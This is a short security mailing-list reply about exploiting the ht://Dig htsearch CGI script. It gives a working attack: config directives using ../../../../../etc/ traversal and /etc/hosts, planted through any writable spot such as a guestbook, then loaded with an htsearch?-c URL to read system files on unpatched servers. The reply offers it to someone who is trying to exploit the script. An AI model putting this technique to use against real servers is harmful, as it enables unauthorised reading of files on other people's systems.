hi, >From: "Tim Russo" <trussoat_private> >2)When I try to exploit the htsearch script I get the following error: >"Unable to read word database file '/xxx/xxx/htdig/db/db.words.db' Did you >run htmerge?" [xxx are for obscurity] :) .. if htsearch is not patched and you have write access somewhere on the server (guestbook etc...) you could create entries like: ---cut here--- nothing_found_file: /etc/hosts database_base: ${database_dir}/../../../../../etc/ word_db: ${database_base}hosts doc_index: ${database_base}hosts doc_db: ${database_base}hosts ---cut here--- and then request: ---cut here--- http://host/htsearch?-c+[filelocation] ---cut here--- rc securityat_private http://www.freefly.com/security/ _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp ---------------------------------------------------------------------------- This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service.
